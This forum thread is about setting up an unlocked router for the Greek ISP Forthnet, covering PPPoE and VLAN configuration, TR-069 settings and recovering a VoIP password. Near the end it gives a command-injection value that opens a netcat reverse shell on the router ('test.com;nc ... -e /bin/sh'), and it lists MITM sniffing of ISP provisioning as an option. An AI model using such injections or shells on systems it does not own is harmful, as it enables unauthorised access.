[LuKePicci]

You don't need to change the MTU. You will see another pppoe interface in ifconfig once the pppoe connection succeed, it will have the right MTU automatically.

Please, tell us which ISP you need to connect to, which settings your ISP requires, and send us contents of your /etc/config/network file

[gecon27]

Thanks,
In most routers however the MTU is configurable from the GUI page.
The ISP is Forthnet/Nova in Greece. It requires VLAN Tag ID 835 and MTU 1492.
Please find below my  /etc/config/network file.

Codice: [Seleziona]

config interface 'loopback'
        option ifname 'lo'
        option proto 'static'
        option ipaddr '127.0.0.1'
        option netmask '255.0.0.0'

config globals 'globals'
        option ula_prefix 'fd5a:912b:767f::/48'
        option vlanmode 'bcmvopi'

config interface 'lan'
        option type 'bridge'
        option proto 'static'
        option netmask '255.255.255.0'
        option ipaddr '192.168.1.254'
        option ip6assign '64'
        option ip6ifaceid 'eui64'
        option force_link '0'
        option ipv6 '1'
        list pppoerelay ''
        list pppoerelay ''
        list ifname 'eth0'
        list ifname 'eth1'
        list ifname 'eth2'
        list ifname 'eth3'
        list ifname 'eth3'

config switch 'bcmsw'
        option reset '1'
        option enable_vlan '0'
        option qosimppauseenable '1'

config interface 'wan'
        option proto 'pppoe'
        option pppoe_backoff '1,32'
        option peerdns '1'
        option ifname 'wanptm0'
        option ipv6 '1'
        option username 'gecon27.ath.forthnet.gr'
        option password '********'
        option auto '1'

config interface 'wan6'
        option ifname '@wan'
        option proto 'dhcpv6'
        option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
        option noslaaconly '1'
        option iface_464xlat '0'
        option reqaddress 'none'
        option auto '1'

config interface 'ppp_8_35'
        option ifname 'atm_8_35_v0'
        option auto '0'

config interface 'ppp_8_81'
        option ifname 'atm_8_81_v0'
        option auto '0'

config bcmvopi 'atm_8_35_v0'
        option if 'atm_8_35'
        option vid '0'
        option defvid 'yes'
        option dscp2pbits 'yes'

config bcmvopi 'atm_8_81_v0'
        option if 'atm_8_81'
        option vid '0'
        option defvid 'yes'
        option dscp2pbits 'yes'

config bcmvopi 'ptm0_v881'
        option if 'ptm0'
        option vid '881'
        option dscp2pbits 'yes'

config config 'config'
        option wan_mode 'pppoe'

config interface 'ipoe'
        option proto 'dhcp'
        option metric '1'
        option reqopts '1 3 6 43 51 58 59'
        option release '1'
        option neighreachabletime '1200000'
        option neighgcstaletime '2400'
        option ipv6 '1'

config device 'waneth4'
        option enabled '1'
        option type '8021q'
        option name 'waneth4'
        option vid '835'
        option ipv6 '1'

config device 'wanptm0'
        option enabled '1'
        option type '8021q'
        option name 'wanptm0'
        option ifname 'ptm0'
        option ipv6 '1'
        option vid '835'
Thanks,
Giannis

[FrancYescO]

Codice: [Seleziona]

uci set network.wan.mtu='1492'
uci commit network
btw, 1492 should be the default when in PPPoE mode so you don't need it.

EDIT: try to used this config https://www.ilpuntotecnico.com/forum/index.php/topic,80404.msg249270.html#msg249270
probably the issue regarding the multiples VLAN mode (bcmvopi/802.11q) when in xDSL mode  never got managed

[larsen64it]

If after the tests with the MTU change it doesn't work, try also to disable ipv6.

[gecon27]

Thanks! It worked with the network file you suggested to use!

Next thing I configured is TR-069 trying somehow to retrieve the VoIP settings from the provider. The settings which I copied from another router that works (provided by the ISP) are as follows.
From your experience, is there any chance that this works and VoIP settings are downloaded automatically? Do you think that spoofing maybe needed?

Codice: [Seleziona]

Basic Configuration
TR-069 Y
ACS URL: http://acs.forthnet.gr:7547/
Username: <EMPTY>
Password: ******
Connection Request URL: http://<public_ip_address>:51005/<uuid>
Connection Request Username: 1234567890123 => 13 digit number
Connection Request Password: ****** => 13 digit number, same as above
Periodic Inform: Y
Periodic Inform Interval: 21600 s
Authenticating ACS: N
ACS CA Certificate Chain: Auto
Certificate Management
ACS CA Certificate Chain: Chain1

Last thing I tried was to configure manually the VoIP settings as per the router that works (provided by the ISP), but the problem is that I am missing the SIP password. My hope was that the password would be retrieved via ACS if I manage somehow to make ACS work. Any help towards this direction would be appreciated.

Codice: [Seleziona]

Basic
SIP Account-1
SIP Account: 30210XXXXXXX => my telephone number
Authorization Username: 30210XXXXXXX => my telephone number, same as above
Password: ****** => this is the password that I do NOT know!
Advanced
Advanced Parameters
DTMF: DTMF in Voice
Jitter Buffer: Adaptive
Minimum: 20 ms
Maximum: 200 ms
Echo Cancellation
Echo Cancellation: On
SIP Protocol
Local Port: 5060
Primary Proxy Server: sip-ims.forthnet.gr
Primary Outbound Proxy Server: sip-ims.forthnet.gr
Primary Proxy Port: 5060
Secondary Proxy Server: 0.0.0.0
Secondary Outbound Proxy Server: 0.0.0.0
Secondary Proxy Port: 5060
Register Expires: 3600 s
Unregister on Reboot: Off
Link Test: On
Link Test Interval: 120

PS. The router provided by the ISP is a ZTE H267N from which I am struggling to extract the SIP password from the exported config.bin that contains the configuration on the router, but unfortunately the exported file is AES encrypted. I have already tried several passwords I found on the Internet but nothing works. My last hope is that the person that has created RouterPassView tool (https://www.nirsoft.net/utils/router_password_recovery.html) manages to find a way to decrypt the file (I have sent him an email some days ago).

Thanks,
Giannis

[FrancYescO]

ISPs ACS are generally configured only to work with the Gateways/Firmwares they distribute, so don't expect that the 788 with telmex fw will get automatically the voip password.

you have to get your VoIP password:
-rooting/unlocking ISP's router (or decrypting the config backup..)
-sniffing the ACS provisioning after a reset of the stock (ZTE) router (port mirroring, MITM with a bridge router...)
-simulating the ACS provisioning (pretty trivial without knowing the ZTE Datamodel and if it was altered by the ISP)
-ofc, asking to the ISP (that i guess won't expose it)

[mattodinaturas]

Salve, ho provato ad effettuare la procedura di sblocco ma su entrambi i fw telmex la usb non mi viene riconosciuta e non comunica col modem (e, inoltre, sulla chiavetta stessa non si illumina il led di attività). Come posso risolvere? Grazie

[FrancYescO]

cambiare chiavetta USB?

[mattodinaturas]

gia provato... niente

[FrancYescO]

con che filesystem le stai usando? usa FAT32 e recupera una penna quanto piu' piccola hai di storage, oltre alla possibilita' (che vedo un po remota) di porta USB guasta credo il problema possano essere solo le pennine usate

[mattodinaturas]

Si, fat32 su entrambe. Una è da 4gb e l'altra da 8.. comunque ho provato a collegare il telefono e non carica, non c'è corrente sulla porta

[larsen64it]

In fondo al post dello sblocco dell'ultima versione (17.2.0360)
https://www.ilpuntotecnico.com/forum/index.php/topic,80404.msg249992.html#msg249992
avevo messo la procedura con l'uso del solo nc e quindi senza chiavetta.

[mattodinaturas]

Ok provo in questo modo perché la porta a quanto pare è rotta. Col multimetro segna 2.7VDC...
Grazie
EDIT: niente, stavo misurando il voltaggio a modem spento *facepalm*

[mattodinaturas]

Ho provato a mettermi in ascolto su netcat ma dopo alcuni minuti dice "nc: getnameinfo: Temporary failure in name resolution"

[larsen64it]

Sul pc nc -lvvp 1337
sul router test.com;nc ip-del-pc  1337 -e /bin/sh